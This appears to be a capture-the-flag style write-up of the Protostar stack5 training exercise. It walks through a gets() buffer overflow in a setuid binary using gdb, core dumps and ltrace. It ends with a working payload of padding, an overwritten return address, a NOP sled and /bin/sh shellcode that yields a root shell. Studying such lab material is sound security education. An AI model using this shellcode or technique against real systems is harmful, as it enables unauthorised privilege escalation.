Analysis
root@protostar:/opt/protostar/bin# file stack5
stack5: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
root@protostar:/opt/protostar/bin# gdb -q stack5
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and $0xfffffff0,%esp
0x080483ca <main+6>: sub $0x50,%esp
0x080483cd <main+9>: lea 0x10(%esp),%eax
0x080483d1 <main+13>: mov %eax,(%esp)
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
Let's test some dumb inputs:
root@protostar:/opt/protostar/bin# python -c "print 'A'*75" | ./stack5
root@protostar:/opt/protostar/bin# python -c "print 'A'*76" | ./stack5
Segmentation fault
What about libraries used:
root@protostar:/opt/protostar/bin# python -c "print 'A'*76" | ltrace ./stack5
__libc_start_main(0x80483c4, 1, 0xbffffd74, 0x80483f0, 0x80483e0 <unfinished ...>
gets(0xbffffc80, 0xb7ec6165, 0xbffffc88, 0xb7eada75, 0xb7fd7ff4) = 0xbffffc80
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
Ok fine, gets
is a dangerous function and shouln't be used. Let's figure out why.
Exploitation
Let's prepare a crash dump:
root@protostar:/opt/protostar/bin# ulimit -c unlimited
root@protostar:/opt/protostar/bin# printf 1 > /proc/sys/fs/suid_dumpable
root@protostar:/opt/protostar/bin# python -c "print 'A'*76" | ./stack5
Segmentation fault (core dumped)
root@protostar:/opt/protostar/bin# file /tmp/core.11.stack5.1915
/tmp/core.11.stack5.1915: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from './stack5'
Now we open the crash dump and inspect the stack:
root@protostar:/opt/protostar/bin# gdb -q -c /tmp/core.11.stack5.1915
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0 0xb7eadc03 in ?? ()
(gdb) x/40x $esp-80
0xbffffc8c: 0xb7eada75 0x41414141 0x41414141 0x41414141
0xbffffc9c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffcac: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffcbc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffccc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffcdc: 0x41414141 0x00000001 0xbffffd84 0xbffffd8c
0xbffffcec: 0xb7fe1848 0xbffffd40 0xffffffff 0xb7ffeff4
0xbffffcfc: 0x08048232 0x00000001 0xbffffd40 0xb7ff0626
0xbffffd0c: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffffd1c: 0x00000000 0xbffffd58 0x130bb1dd 0x394a07cd
(gdb)
We're going to write some code on the stack and use eip to jump into it.
We can help ourselves with a 'nop sled' (consecutive nop opcodes) to find the entrypoint more easily:
root@protostar:/opt/protostar/bin# python -c "print 'A'*76+'\xe8\xfc\xff\xbf'+'\x90'*20+'\x31\xc0\x31\xdb\xb0\x06\xcd\x
80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\
xe1\x99\xb0\x0b\xcd\x80'" > payload
root@protostar:/opt/protostar/bin# cat payload | ./stack5
# id
uid=0(root) gid=0(root) groups=0(root)
This payload fills the buffer with 76 A's, then overwrites the instruction
pointer with 0xbffffce8
which is somewhere in our following nop sled of 0x90's
and then our shellcode spawning a shell.
Top comments (0)